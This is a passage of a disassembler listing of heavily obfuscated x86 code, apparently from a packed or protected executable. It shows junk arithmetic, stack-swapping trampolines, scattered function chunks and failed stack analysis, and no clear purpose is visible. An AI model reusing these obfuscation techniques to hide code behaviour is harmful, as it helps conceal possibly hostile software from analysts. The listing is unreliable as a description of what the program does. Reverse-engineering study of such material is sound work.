; ---------------------------------------------------------------------------


loc_42ACF3:				; CODE XREF: _7hdaygc1:004235CFj
		cdq


loc_42ACF4:				; CODE XREF: _7hdaygc1:loc_42FDBCj
		push	36BC667Eh
		pop	eax
		sub	eax, 0F2683B92h
		cmp	eax, 24DDD9ACh
		jmp	loc_429DE1
; ---------------------------------------------------------------------------


loc_42AD0B:				; CODE XREF: _7hdaygc1:0042EF6Cj
		test	ecx, 3D9569D0h
		jmp	loc_42FCCD

; =============== S U B	R O U T	I N E =======================================



sub_42AD16	proc near		; CODE XREF: _7hdaygc1:0042A9CBj
					; sub_42BE7D+2A44p

; FUNCTION CHUNK AT 00428298 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004299A3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042BDA8 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0042F745 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-0Ch]
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		jmp	loc_42BDA8
sub_42AD16	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4287D8


loc_42AD2B:				; CODE XREF: sub_4287D8:loc_4271CDj
		add	ecx, 0B145D6B1h
		xchg	ecx, [esp+8+var_8]
		jmp	sub_42E29B
; END OF FUNCTION CHUNK	FOR sub_4287D8
; ---------------------------------------------------------------------------


loc_42AD39:				; CODE XREF: _7hdaygc1:00423F2Ej
		adc	edx, 0E93C2EA1h
		cmp	eax, esi
		jmp	loc_42A5F6
; ---------------------------------------------------------------------------


loc_42AD46:				; CODE XREF: _7hdaygc1:0042EEB9j
		and	edi, 0D87E395h
; START	OF FUNCTION CHUNK FOR sub_42CDF7


loc_42AD4C:				; CODE XREF: sub_42CDF7:loc_42EEACj
		xor	edx, 148E06C4h
		add	edx, ebp
		call	sub_423DAE


loc_42AD59:				; CODE XREF: sub_42FD11-B03Cj
		jl	loc_4240E3


loc_42AD5F:				; CODE XREF: _7hdaygc1:0042639Dj
		jmp	nullsub_101
; END OF FUNCTION CHUNK	FOR sub_42CDF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_42AD64:				; CODE XREF: sub_423DFC+2574j
		jmp	loc_42E5FE
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42567E


loc_42AD69:				; CODE XREF: sub_42567E+3j
		jmp	loc_4248CF
; END OF FUNCTION CHUNK	FOR sub_42567E
; ---------------------------------------------------------------------------
		mov	eax, ebx
		xor	esi, ecx
		jmp	loc_4240E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425A37


loc_42AD77:				; CODE XREF: sub_425A37+82Fj
		xchg	edi, [esp+10h+var_10]
		mov	esi, edi
		pop	edi
		xor	eax, 200000h
		push	edi
		mov	edi, eax
		xchg	edi, [esp+10h+var_10]
		jmp	loc_42C21F
; END OF FUNCTION CHUNK	FOR sub_425A37
; ---------------------------------------------------------------------------

locret_42AD8D:				; CODE XREF: _7hdaygc1:00423686j
		retn
; ---------------------------------------------------------------------------


loc_42AD8E:				; CODE XREF: _7hdaygc1:00425897j
		not	ebx

; =============== S U B	R O U T	I N E =======================================



sub_42AD90	proc near		; CODE XREF: sub_424680:loc_428BA9p
		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42AD90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42809F


loc_42AD9B:				; CODE XREF: sub_42809F+7j
		jmp	loc_4235DD
; END OF FUNCTION CHUNK	FOR sub_42809F
; ---------------------------------------------------------------------------


loc_42ADA0:				; DATA XREF: sub_426B1A:loc_42E3D0o
		mov	eax, [eax]
		jmp	loc_42AA65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426B1A


loc_42ADA7:				; CODE XREF: _7hdaygc1:loc_425DD9j
					; _7hdaygc1:00425DE2j ...
		xor	ebx, ebx


loc_42ADA9:				; CODE XREF: sub_425339-1064j
					; sub_4269BB+2A3Bj
		mov	eax, ebx
		push	offset loc_42E1DA
		jmp	nullsub_34
; END OF FUNCTION CHUNK	FOR sub_426B1A
; ---------------------------------------------------------------------------
		add	eax, 0E5FCD230h
		jmp	loc_4263AA
; ---------------------------------------------------------------------------
		mov	edx, ds:dword_42BC58
		mov	edx, [edx]
		push	offset sub_42EFF5
		jmp	locret_42B348
; ---------------------------------------------------------------------------


loc_42ADD2:				; CODE XREF: _7hdaygc1:00428031j
		jnp	loc_428880
		xchg	edi, esi


loc_42ADDA:				; CODE XREF: _7hdaygc1:loc_42ABBEj
		add	edi, 32B5E2h
		push	offset sub_42C92A
		jmp	loc_42B607
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_42ADEA:				; CODE XREF: sub_42AFFE-6402j
		jnz	loc_427DC0
		adc	ebp, 9E0602A0h
		jmp	loc_42FA28
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------


loc_42ADFB:				; CODE XREF: _7hdaygc1:00426EA1j
		shl	esi, 5

; =============== S U B	R O U T	I N E =======================================



sub_42ADFE	proc near		; CODE XREF: sub_42616B:loc_424053p

; FUNCTION CHUNK AT 00423B0D SIZE 00000006 BYTES

		xchg	edx, [esp+0]
		pop	edx
		rol	eax, 10h
		push	ebp
		jmp	loc_423B0D
sub_42ADFE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42AE0B	proc near		; CODE XREF: _7hdaygc1:00428551j
					; sub_42E283-38C5p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00428956 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	edx, 797137E7h
		xchg	edx, [esp-4+arg_0]
		jmp	loc_428956
sub_42AE0B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42AE1D:				; CODE XREF: _7hdaygc1:loc_42CA19j
		or	eax, 2CFB81E7h
		call	sub_42E205


loc_42AE28:				; CODE XREF: _7hdaygc1:00426519j
		call	sub_42A94C
		push	4674B576h
		pop	edx
		and	edx, 9DB3D884h
		sub	edx, 12D27CE7h
		add	edx, 2795637h
		jmp	loc_42C86F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424CE0


loc_42AE4A:				; CODE XREF: sub_424CE0+5A54j
		pop	ecx
		xor	ecx, ds:4000FAh
		add	ecx, 3961FDB9h
		and	ecx, 0DE07926Ah
		jnz	loc_42EDD7


loc_42AE63:				; CODE XREF: sub_429EBB+45DFj
		jmp	loc_426F9F
; END OF FUNCTION CHUNK	FOR sub_424CE0
; ---------------------------------------------------------------------------


loc_42AE68:				; CODE XREF: _7hdaygc1:00428C8Bj
		jmp	loc_424025
; ---------------------------------------------------------------------------

locret_42AE6D:				; CODE XREF: _7hdaygc1:loc_4291C9j
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_196. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42AE6F:				; CODE XREF: _7hdaygc1:0042ED8Ej
		jmp	loc_42710A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425492


loc_42AE74:				; CODE XREF: sub_425492+4A24j
		jmp	nullsub_35
; END OF FUNCTION CHUNK	FOR sub_425492
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424CE0


loc_42AE79:				; CODE XREF: sub_424CE0+375j
		jmp	nullsub_98
; END OF FUNCTION CHUNK	FOR sub_424CE0
; ---------------------------------------------------------------------------


loc_42AE7E:				; DATA XREF: sub_425A37+72BDo
		xchg	edi, [esp]
		mov	esp, ebp
		push	offset sub_424755
		jmp	loc_42997C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4270E6


loc_42AE8D:				; CODE XREF: sub_4270E6+1Aj
		mov	edx, eax
		xchg	edx, [esp+0]
		call	sub_42B32F
		jmp	loc_428088
; END OF FUNCTION CHUNK	FOR sub_4270E6

; =============== S U B	R O U T	I N E =======================================



sub_42AE9C	proc near		; CODE XREF: sub_4270E6+4p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042B716 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042FB79 SIZE 00000005 BYTES

		push	edx
		mov	edx, ebp
		xchg	edx, [esp+4+var_4]
		jmp	loc_42B716
sub_42AE9C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4253A0


loc_42AEA7:				; CODE XREF: sub_4253A0:loc_42D22Dj
		mov	edi, ebp
		pop	ebp
		xor	edi, 0FBA0BDAFh
		test	edi, 100000h
		jmp	loc_428F3D
; END OF FUNCTION CHUNK	FOR sub_4253A0
; ---------------------------------------------------------------------------
		mov	ecx, edx
		jmp	loc_42612A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F62


loc_42AEC3:				; CODE XREF: sub_424F62+2066j
					; _7hdaygc1:00428316j
		jge	loc_42618B


loc_42AEC9:				; CODE XREF: sub_42D980+Dj
		jmp	loc_42876F
; END OF FUNCTION CHUNK	FOR sub_424F62
; ---------------------------------------------------------------------------
		jnz	loc_4252A9
		sub	edx, ebx
		add	ebp, 0A081CF38h
		jmp	loc_429F8C
; ---------------------------------------------------------------------------


loc_42AEE1:				; CODE XREF: _7hdaygc1:0042BA36j
		rol	edx, 19h

; =============== S U B	R O U T	I N E =======================================



sub_42AEE4	proc near		; CODE XREF: _7hdaygc1:004263D2p
		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42AEE4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42AEEF:				; CODE XREF: _7hdaygc1:0042669Cj
		jmp	loc_426881
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F62


loc_42AEF5:				; CODE XREF: sub_424F62+5j
		add	dword ptr [esi], 0F80586h
		push	2CA580EFh
		pop	eax
		or	eax, 6C6DE893h
		add	eax, 0AE8BDD31h
		sub	eax, 992B5FE4h
		test	eax, 20h
		jmp	loc_426769
; END OF FUNCTION CHUNK	FOR sub_424F62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_42AF1E:				; CODE XREF: sub_42AA47+2BDAj
		mov	edi, ebp
		mov	ecx, 0A50F9A63h
		adc	esi, 97DA955h


loc_42AF2B:				; CODE XREF: sub_42AA47:loc_4238F6j
					; sub_425E64+78D5j ...
		jnz	loc_425E36
		jmp	loc_42F5AC
; END OF FUNCTION CHUNK	FOR sub_42AA47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD73


loc_42AF36:				; CODE XREF: sub_42DD73-3143j
		shr	ebx, 3
		test	esi, ebp
		jmp	loc_42D1F9
; END OF FUNCTION CHUNK	FOR sub_42DD73
; ---------------------------------------------------------------------------


loc_42AF40:				; CODE XREF: _7hdaygc1:0042E10Aj
		jbe	loc_423D49
		popf
		add	ecx, 4AC8EB91h
		jmp	loc_42C57B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AA8


loc_42AF52:				; CODE XREF: sub_424AA8:loc_42C219j
					; _7hdaygc1:0042C240j
		or	eax, 0D4FB8B07h
		xor	eax, 58EB8A7Bh
		add	eax, 592E87B0h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_42C9D0
		jmp	loc_4282C0
; END OF FUNCTION CHUNK	FOR sub_424AA8
; ---------------------------------------------------------------------------


loc_42AF73:				; DATA XREF: sub_428802:loc_423D30o
		add	edi, 2FC0044Ah
		mov	edi, [edi]
		cmp	eax, edi
		pop	edi
		jmp	loc_429894
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A17C


loc_42AF83:				; CODE XREF: sub_42A17C+554Cj
		xor	eax, ebp


loc_42AF85:				; CODE XREF: sub_42A17C:loc_42ED93j
		call	sub_42D757
		mov	edx, 0F2B89A19h
		push	ebx
		push	12FDCEB4h
		jmp	loc_42C1D8
; END OF FUNCTION CHUNK	FOR sub_42A17C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_42AF9A:				; CODE XREF: sub_423172+8CB2j
		push	ecx
		push	42E6DD4Dh
		pop	ecx
		xor	ecx, ds:4000F8h
		jmp	loc_428571
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42926C


loc_42AFAC:				; CODE XREF: sub_42926C+12j
		pop	eax
		call	sub_425D85
; END OF FUNCTION CHUNK	FOR sub_42926C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_42AFB3	proc near		; CODE XREF: sub_425BFC:loc_42C543p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00423CF7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004243F7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004266EE SIZE 0000000A BYTES

		push	ebx
		push	ecx
		call	sub_425735
		jmp	loc_4243F7
sub_42AFB3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429318


loc_42AFBF:				; CODE XREF: sub_429318:loc_42A4A4j
					; sub_429318+2D73j
		mov	edx, [ebp-4]
		lea	eax, [ebp-0Ch]
		mov	ecx, [ebp-30h]
		push	offset loc_425B35
		jmp	nullsub_111
; END OF FUNCTION CHUNK	FOR sub_429318
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EF30


loc_42AFD2:				; CODE XREF: sub_42EF30-68B6j
		xor	edx, ecx
		rol	edx, 5
		add	edx, eax
		rol	edx, 5
		xor	edx, esi
		rol	edx, 5
		push	offset loc_4286A2
		jmp	nullsub_122
; END OF FUNCTION CHUNK	FOR sub_42EF30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424755


loc_42AFEB:				; CODE XREF: sub_424755+Bj
		mov	eax, ds:dword_42E1C4
		or	eax, eax
		jnz	loc_42D216
		jmp	loc_42DEB9
; END OF FUNCTION CHUNK	FOR sub_424755

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AFFE	proc near		; DATA XREF: sub_423CAC+Ao

var_30		= dword	ptr -30h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004236F4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004239E6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004241B8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042436E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00424834 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00424BED SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00425125 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004255CC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00426E91 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00427C98 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427DC0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004280CF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004281BA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004292C1 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 004292FB SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004297AD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429994 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A043 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A8E6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042ADEA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042B597 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0042B602 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BC12 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042D4F8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D563 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0042DC75 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042E7C1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042EB9B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042F01E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042FA28 SIZE 00000015 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_42515C, 0
		jnz	loc_427227
		call	nullsub_3
		call	sub_42D757
		jmp	loc_4297AD
sub_42AFFE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42B01E	proc near		; DATA XREF: sub_42A3F7o
		jnz	sub_42D8CD
		push	ebp
		call	sub_425D65
		push	offset sub_423A6D
		jmp	nullsub_36
sub_42B01E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B034	proc near		; DATA XREF: _7hdaygc1:0042B8E8o

; FUNCTION CHUNK AT 00423785 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00424DAE SIZE 00000005 BYTES

		push	0C33518E2h
		pop	ecx
		add	ecx, 0AF3CB66Bh
		sub	ecx, 868F0BD5h
		and	ecx, 40A589B8h
		add	ecx, 12DB1AAh
		jmp	loc_424DAE
sub_42B034	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B057	proc near		; CODE XREF: _7hdaygc1:loc_428684j
					; sub_42F789-217Fp

; FUNCTION CHUNK AT 00425811 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		dec	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 0
		jg	loc_42F793


loc_42B068:				; CODE XREF: sub_4254BE:loc_42811Bj
					; _7hdaygc1:0042CC3Aj ...
		mov	esp, ebp
		pop	ebp
		jmp	loc_425811
sub_42B057	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		add	ebx, ebp
		jnz	loc_429D7D
		jmp	sub_42DC52
; ---------------------------------------------------------------------------


loc_42B07D:				; CODE XREF: _7hdaygc1:0042D414j
		jnz	loc_42B5D6
		add	ebx, ebp


loc_42B085:				; CODE XREF: _7hdaygc1:0042A157j
		jnp	loc_42EF98
		jz	loc_4295DA
		jmp	loc_42AB80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42911B


loc_42B096:				; CODE XREF: sub_42911B+11A2j
		jge	loc_42373B
; END OF FUNCTION CHUNK	FOR sub_42911B
; START	OF FUNCTION CHUNK FOR sub_423648


loc_42B09C:				; CODE XREF: sub_423648+2188j
		jmp	loc_42D112
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------
		and	edx, 52231EC6h
		jmp	loc_423739
; ---------------------------------------------------------------------------


loc_42B0AC:				; CODE XREF: _7hdaygc1:004267A4j
		and	edi, 5A65AF5h
		sub	edi, 805809A8h
		add	edi, 7AF48891h
		xchg	edi, [esp]
		jmp	sub_42D9E1
; ---------------------------------------------------------------------------


loc_42B0C6:				; CODE XREF: _7hdaygc1:00424B24j
		js	loc_42949A

; =============== S U B	R O U T	I N E =======================================



sub_42B0CC	proc near		; CODE XREF: sub_42C48C-6BDDp
		xchg	eax, [esp+0]
		pop	eax
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_42B0CC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C48C


loc_42B0D4:				; CODE XREF: sub_42C48C-6BE9j
		mov	eax, [ebp+8]
		jmp	loc_42A4F8
; END OF FUNCTION CHUNK	FOR sub_42C48C

; =============== S U B	R O U T	I N E =======================================



sub_42B0DC	proc near		; CODE XREF: _7hdaygc1:0042BFD6j
					; sub_42C50D:loc_42F5A2p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004254FF SIZE 00000015 BYTES

		xchg	eax, [esp+4+var_4]
		pop	eax
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		xchg	ecx, [esp+4+var_4]
		mov	ebp, ecx
		jmp	loc_4254FF
sub_42B0DC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CCC


loc_42B0F0:				; CODE XREF: sub_423CCC:loc_42BC41j
		and	esi, ds:4000F5h
		add	esi, 0F8D8FEE3h
		and	ebx, esi
		xchg	edx, [esp+4+var_4]
		jmp	loc_42816F
; END OF FUNCTION CHUNK	FOR sub_423CCC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241F3


loc_42B107:				; CODE XREF: sub_4241F3+7592j
		jmp	sub_42C1AF
; END OF FUNCTION CHUNK	FOR sub_4241F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426B1A


loc_42B10C:				; CODE XREF: sub_426B1A+13j
		jmp	loc_42E3D0
; END OF FUNCTION CHUNK	FOR sub_426B1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F02


loc_42B111:				; CODE XREF: sub_423F02+Ej
		jmp	loc_423139
; END OF FUNCTION CHUNK	FOR sub_423F02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FCD3


loc_42B116:				; CODE XREF: sub_42FCD3:loc_42FCE2j
		and	ecx, ds:4000F3h
		or	ecx, ds:4000F8h
		cmp	ecx, 0C2DACEDCh
		jmp	loc_42B7CD
; END OF FUNCTION CHUNK	FOR sub_42FCD3
; ---------------------------------------------------------------------------


loc_42B12D:				; CODE XREF: _7hdaygc1:loc_423532j
		or	edx, 59DE7F41h
		and	edx, 0ED1DC742h
		xor	edx, 14B6E855h
		push	edx
		pushf
		jmp	loc_42DFDB
; ---------------------------------------------------------------------------


loc_42B146:				; CODE XREF: _7hdaygc1:00426804j
		jg	loc_42DB33

; =============== S U B	R O U T	I N E =======================================



sub_42B14C	proc near		; CODE XREF: sub_42FAB8-C86Bp

; FUNCTION CHUNK AT 00427EBA SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042FBD6 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	dword ptr [ebp-0Ch], 1


loc_42B157:				; CODE XREF: sub_425C2C:loc_423987j
					; _7hdaygc1:004247B8j
		push	25AA4237h
		pop	eax
		jmp	loc_42FBD6
sub_42B14C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EE8A


loc_42B162:				; CODE XREF: sub_42EE8A-5B10j
		jge	loc_427123
		xor	ecx, edi
		jmp	loc_424FA4
; END OF FUNCTION CHUNK	FOR sub_42EE8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F05E


loc_42B16F:				; CODE XREF: sub_42F05E:loc_42A892j
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_42EA8D
		mov	eax, [ebp+8]
		push	eax
		cmp	dword ptr [ebp-14h], 6
		jmp	loc_42D60F
; END OF FUNCTION CHUNK	FOR sub_42F05E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F0A


loc_42B186:				; CODE XREF: sub_424F0A+10j
		add	edx, 4F16F188h
		xchg	edx, [esp-4+arg_0]
		jmp	sub_4288FE
; END OF FUNCTION CHUNK	FOR sub_424F0A
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 17h
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_42B198:				; CODE XREF: sub_424AE1:loc_42B7C1j
		push	esi
		push	36F4918Dh
		jmp	loc_42546D
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------


loc_42B1A3:				; CODE XREF: _7hdaygc1:00425B58j
		add	ecx, 401E092Bh
		add	ecx, ebp
		add	ecx, 2AAEB9E8h
		mov	ecx, [ecx]
		push	edi
		pushf
		push	3F69E0E6h
		pop	edi
		jmp	loc_425B15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BCD


loc_42B1C0:				; CODE XREF: sub_425BCD+16j
		add	eax, 0EA763538h
		mov	eax, [eax]
		mov	[eax], ebx
		mov	eax, offset dword_42BC4C
		call	sub_42EBC8
; END OF FUNCTION CHUNK	FOR sub_425BCD
; START	OF FUNCTION CHUNK FOR sub_42A833


loc_42B1D4:				; CODE XREF: sub_42A833-7825j
		jmp	loc_427E5B
; END OF FUNCTION CHUNK	FOR sub_42A833
; ---------------------------------------------------------------------------


loc_42B1D9:				; CODE XREF: _7hdaygc1:0042323Fj
		ror	esi, 4
		add	edi, eax
		jmp	loc_42CAF6
; ---------------------------------------------------------------------------


loc_42B1E3:				; CODE XREF: _7hdaygc1:0042DFD6j
		jl	loc_42E49F
		pop	ecx
		shl	esi, 1Eh
		xchg	ebx, [edi]
		jmp	loc_429F05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4288C7


loc_42B1F4:				; CODE XREF: sub_4288C7+Aj
		xchg	edx, [esp+4+var_4]
		mov	ebx, edx
		pop	edx
		and	ebx, 0E32549E9h
		add	ebx, 0FF3DBC1Fh
		mov	[ebx], eax
		jmp	loc_42D42F
; END OF FUNCTION CHUNK	FOR sub_4288C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C712


loc_42B20D:				; CODE XREF: sub_42C712+Ej
		pop	ecx
		add	ecx, 5A4F909h
		xor	ecx, 4F34E7A1h
		and	ecx, ds:4000FBh
		add	ecx, 0D63F467Eh
		mov	[ecx], eax
		pop	ecx
		jmp	nullsub_165
; END OF FUNCTION CHUNK	FOR sub_42C712
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED4E


loc_42B22F:				; CODE XREF: sub_42ED4E-6847j
		jmp	loc_42E10F
; END OF FUNCTION CHUNK	FOR sub_42ED4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EF91


loc_42B234:				; CODE XREF: sub_42EF91:loc_42CD8Aj
		and	eax, 0B2598C1Ch
		jmp	loc_42D554
; END OF FUNCTION CHUNK	FOR sub_42EF91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_42B23F:				; CODE XREF: sub_423648:loc_42CA50j
		add	eax, 0C804B31Eh
		xor	eax, 0A78B2E6h
		push	offset loc_423D7E
		jmp	nullsub_51
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A92E


loc_42B255:				; CODE XREF: sub_42A92E+1C7Ej
		pop	eax
		call	sub_428C3B
		call	sub_42A462
; END OF FUNCTION CHUNK	FOR sub_42A92E
; START	OF FUNCTION CHUNK FOR sub_42B650


loc_42B260:				; CODE XREF: sub_42B650+1j
		jmp	loc_42453B
; END OF FUNCTION CHUNK	FOR sub_42B650

; =============== S U B	R O U T	I N E =======================================



sub_42B265	proc near		; DATA XREF: _7hdaygc1:00428C01o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042446C SIZE 00000026 BYTES
; FUNCTION CHUNK AT 004293BA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042A617 SIZE 00000013 BYTES

		add	eax, [esp-4+arg_0]
		adc	edx, [esp+4]
		add	esp, 8
		push	ebx
		jmp	loc_42446C
sub_42B265	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jnp	sub_42F6CD
		jmp	loc_42D244
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42512A


loc_42B280:				; CODE XREF: sub_42512A:loc_423077j
					; _7hdaygc1:00423086j
		xor	ecx, 0FB5024E8h
		add	ecx, 6EA0E5D6h
		xchg	ecx, [esp+0]
		jmp	sub_423F02
; END OF FUNCTION CHUNK	FOR sub_42512A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9E1


loc_42B295:				; CODE XREF: sub_42D9E1-5A81j
		jmp	loc_4289C1
; END OF FUNCTION CHUNK	FOR sub_42D9E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F65A


loc_42B29A:				; CODE XREF: sub_42F65A-4111j
		call	sub_425A37
; END OF FUNCTION CHUNK	FOR sub_42F65A
; START	OF FUNCTION CHUNK FOR sub_42E1F1


loc_42B29F:				; CODE XREF: sub_42E1F1-21BBj
		jmp	nullsub_81
; END OF FUNCTION CHUNK	FOR sub_42E1F1
; ---------------------------------------------------------------------------


loc_42B2A4:				; CODE XREF: _7hdaygc1:0042F2CAj
		jnz	loc_42F39A
		test	ebp, esi
		jmp	loc_42F392
; ---------------------------------------------------------------------------


loc_42B2B1:				; CODE XREF: _7hdaygc1:00423C2Dj
					; _7hdaygc1:loc_427204j
		xchg	esi, [esp]
		jmp	loc_42E5BE

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


